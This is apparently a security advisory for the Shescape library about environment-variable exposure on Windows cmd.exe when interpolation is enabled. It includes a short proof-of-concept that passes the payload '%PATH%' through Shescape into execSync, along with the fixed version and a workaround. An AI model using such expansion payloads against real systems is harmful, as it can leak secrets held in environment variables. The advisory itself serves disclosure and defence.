Shescape potential environment variable exposure on Windows with CMD

Impact

This impact users of Shescape:

1. On Windows using the Windows Command Prompt (i.e. cmd.exe), and
2. Using quote/quoteAll or escape/escapeAll with the interpolation option set to true.

An attacker may be able to get read-only access to environment variables. Example:

import * as cp from "node:child_process";
import * as shescape from "shescape";

// 1. Prerequisites
const options = {
    shell: "cmd.exe",
    // Or
    shell: undefined, // Only if the default shell is CMD

    // And
    interpolation: true, // Only applies to `escape` and `escapeAll` usage
}

// 2. Attack (one of many)
const payload = "%PATH%";

// 3. Usage
let escapedPayload;

escapedPayload = shescape.quote(payload, options);
// Or
escapedPayload = shescape.quoteAll([payload], options);
// Or
escapedPayload = shescape.escape(payload, options);
// Or
escapedPayload = shescape.escapeAll([payload], options);

// And (example)
const result = cp.execSync(`echo Hello ${escapedPayload}`, options);

// 4. Impact
console.log(result.toString());
// Outputs "Hello" followed by the contents of the PATH environment variable

Patches

This bug has been patched in v1.7.1 which you can upgrade to now. No further changes are required.

Workarounds

Alternatively, users can remove all instances of % from user input, either before or after using Shescape.

References

• Shescape Pull request #982
• Shescape commit d0fce70
• Shescape Release v1.7.1